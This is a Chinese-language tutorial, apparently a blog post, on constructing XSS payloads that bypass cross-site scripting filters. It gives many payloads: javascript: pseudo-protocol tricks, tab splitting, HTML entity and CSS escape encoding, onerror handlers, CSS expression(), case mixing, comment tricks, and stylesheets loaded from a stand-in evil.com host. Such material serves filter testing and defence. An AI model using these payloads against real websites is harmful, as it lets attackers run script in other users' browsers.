1.XSS-Filter:跨站脚本过滤器,用于分析用户提交的输入,并消除潜在的跨站脚本攻击

(1)XSS Filter实际上是一段精心编写的过滤函数作用是过滤XSS跨站脚本代码;

(2)绕过XSS Filter的测试:

**利用<>标记注射Html/javaScript ,因此XSS Filter首先要过滤和转义的就是“<>”或“<script>”等字符

**利用标签属性值来执行XSS,很多HTML标签都支持JavaScript:[code]伪协议的形式,这个特殊的协议类型声明了URL的主体是任意的javascript代码

例如:<img src="javascript:alert('XSS');">

不是所有的浏览器都支持伪协议的

并不是所有标记的属性值都能产生XSS,通常只有引用文件的属性才能触发跨站脚本:

href=     ;lowsrc=    ;bgsound=   ;backgroud=   ;value=   ;action=     ;dynsrc=   ;

**空格回车Tab,如果XSS Filter仅仅把敏感的输入字符列入黑名单,用户可以利用空格,回车和Tab键绕过限制

例如:<img src="javas   cript:alert('/XSS/')" width=100> 注意:Javas和cript之间的间隔不是由空格键添加的,而是由Tab键添加的

使用关键字拆分的技巧,用户可以突破过滤器的限制,不局限在【Tab】键,还可以使用【回车】和【空格】之类的其他键位符

原因在于:在javascript引擎中,空格除了在引号中分隔单词和强制结束语句之外,额外的空白无论以何种方式添加都无所谓

例如:<img src="

cript:

alert(/XSS/)" width=100>

**对标签属性值转码:用户可以通过编码处理来绕过对普通HTML标记的属性值的进行的过滤,因为HTML中属性值本身支持ASCII码的形式

根据HTML的属性值支持ASCII码的特性,把XSS代码:<img src="javascript:alert('XSS');">  替换为  <img src="javascrip&#116&#58alert(/XSS/);">

t的ASSCII码值为116,用“&#116”表示;  :则表示为&#58

还可以把&#01,&#02等字符插入到javascript或Vbscript的头部,另外Tab键的ASCII码值是:&#9,换行符的码值是:&#10,回车符的码值是:&#13

**产生自己的事件:javascript和HTML之间的交互是通过事件实现的,事件就是用户或浏览器自身执行的某个动作,比如click,mouseover,load等。响应事件的函数就叫做事                             件处理函数(事件监听器)

事件被划分为3种不同的类型:

①用户接口(鼠标,键盘)

          ②逻辑(处理的结果)

           ③ 变化(对文档进行修改)

例如:<img src="#" onerror=alert(/XSS/)>  onerror是IMG标记的一个事件,只要页面发生错误,该事件立即被激活

**可以用来测试事件型的跨站脚本,有大量的事件可以运用:

onResume,onReverse,onRowDelete,onRowInserted,onSeek,onSynchRestored,onTimeError ,onTrackChange,onURLFlip ,onRepeat,

onMediaError,  onPause ,onProgress ,oncontrolselect ,onOutOfSync  , onafterprint  ,onbeforeprint  ,ondataavailable  ,ondatasetchanged

ondatasetcomplete  , onerrorupdate  ,onrowenter  ,onrowexit  ,onrowsdelete  ,onrowsinserted ,onselectionchange  ,onbounce  ,onfinish

onstop ,onresizeend

**利用CSS跨站剖析:

①例如:<div style="backgroud-image:url(javascript:alert('XSS'))">

②IE5及其之后的版本都支持在CSS中使用expression,使用expression同样可以触发XSS漏洞

例如:<div style="width: expression (alert('XSS'));">

或<style>body{background-image:expression(alert("XSS"));}</style>

③此外,CSS样式表不需要嵌入到HTML代码中,它能从其他文件中甚至从不同的目标机器上进行引用

例如:<link rel="stylesheet" href="http://www.evil.com/attack.css">

④在网页中引用外部CSS还可以利用@import将其导入

例如:<style type='text/css'>@import url(http://www.evil.com/xss.css);</style>

xss.css的内容是:

.showCSS{

event:expression(

onload = function(){

alert('XSS');})

}

⑤此外,@import还有一个特性,就是能直接执行javaScript代码,

例如:<style> @import 'javascript :alert("XSS")';  </style>

**扰乱过滤规则:

①转换大小写之后的XSS:<IMG SRC="javascript:alert(0);">

②大小写混淆的XSS:<iMg sRC="jaVasCript:alert(0);">

③不用双引号,而是使用单引号的XSS:<img src='javascript:alert(0);'>

④不使用引号的XSS:<img src=javascript:alert(0);>

⑤不使用空格,而用/代替:<img/src="javascript:alert('XSS');">

⑥当利用expression执行跨站代码时,可以构造不同的全角字符来扰乱过滤规则:

<xss STYLE="xss: exprEssion(alert('XSS'))">

<div style="{left : e  x  p  r  e   s  s  i   o   n  (alert('XSS')  )  }">

**样式表中的/**/会被浏览器忽略,因此可以结合使用注释字符干扰和欺骗过滤器:

<XSS  STYLE="xss: expr/*XSS*/ession(alert('XSS') ) ">

<div style="wid/**/th:expre/*XSS*/ssion(alert('XSS') );">

**除了/**/之外,样式表中的\和结束符\0也是被浏览器忽略的:

@\0im\port' \0ja\vasc\ript:alert("XSS")';

@\i\0m\00p\000o\0000\00000r\000000t"url";

**还可以将CSS中的关键字进行转码处理,如将e转换为\65,包括改变编码中的0的数量:

<p  style="xss: \65xpression(alert(/XSS/))">

**利用浏览器解析HTML注释存在的问题来执行JavaScript:

例如:

①<!--<img src="--><img  src=x  onerror=alert(1)//>">

②<comment><img src="</comment><img  src=x  onerror=alter(1) //">

③<style><img  src="</style><img src=x  onerror=alert(1)//">

XSS 跨站脚本攻击之构造剖析(一)的更多相关文章

  1. XSS 跨站脚本攻击之构造剖析(二)

    1.利用字符编码 (1)字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好的隐藏ShellCode (2)使用一个XSS编码工具,以便对字符串进行十进制和十六进 ...

  2. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  3. PHP漏洞全解(四)-xss跨站脚本攻击

    本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...

  4. 初窥XSS跨站脚本攻击

    XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS 经过后端,不经过数据库 2.储存型XSS 经过后端,经 ...

  5. XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结(转载)

    转载自 https://blog.csdn.net/baidu_24024601/article/details/51957270 之前就了解过这方面的知识,但是没有系统地总结.今天在这总结一下,也让 ...

  6. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  7. xss(跨站脚本攻击),crsf(跨站请求伪造),xssf

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  8. JAVA覆写Request过滤XSS跨站脚本攻击

    注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...

  9. xss跨站脚本攻击及xss漏洞防范

    xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...

随机推荐

  1. 将file转变成contenthash

    一.将MultipartFile转file CommonsMultipartFile cf= (CommonsMultipartFile)file; DiskFileItem fi = (DiskFi ...

  2. 【编程题目】栈的 push、pop 序列

    29.栈的 push.pop 序列(栈)题目:输入两个整数序列.其中一个序列表示栈的 push 顺序,判断另一个序列有没有可能是对应的 pop 顺序.为了简单起见,我们假设 push 序列的任意两个整 ...

  3. Sql存储过程

    下面的存储过程从四个表的联接中返回所有作者(提供了姓名).出版的书籍以及出版社.该存储过程不使用任何参数. USE pubs IF EXISTS (SELECT name FROM sysobject ...

  4. Spetember 5th 2016 Week 37th Monday

    No matter how far you may fly, never forget where you come from. 无论你能飞多远,都别忘了你来自何方. Stay true to you ...

  5. UITableView的scrollToRowAtIndexPath:atScrollPosition:animated的崩溃

      UITableView的scrollToRowAtIndexPath:atScrollPosition:animated的崩溃 [摘要:reason: '-[UITableView _conten ...

  6. android bitmap的放大缩小

    private static Bitmap big(Bitmap bitmap) { Matrix matrix = new Matrix(); matrix.postScale(1.5f,1.5f) ...

  7. Android 菜单定制使用小结

    GridView 添加 ArrayAdapter<Bean>, 在 gridView 的 Item 点击之后, 1.list.add(bean)/remove(bean) 2.adapte ...

  8. Xcodeproject详解

    前言 在 iOS 开发过程中,我们经常会在 Xcode 里面做一些配置,比如添加系统库.第三方库,修改证书配置文件,修改编译属性等等. 在这个过程里面,一般大家仅仅只是根据经验来配置这些,并没有比较清 ...

  9. CLR via C#(07)-静态类,分部类

    一.      静态类-Static 静态类是一些不能实例化的类,它的作用是将一些相关的成员组合到一起,像我们常见的Math, Console等.静态类由static关键字标识,静态类成员也只能是st ...

  10. IIS网站发布若干问题

    1.Win7 64位 IIS未能加载文件或程序集"System.Data.SQLite"或它的某一个依赖项   未能加载文件或程序集"System.Data.SQLite ...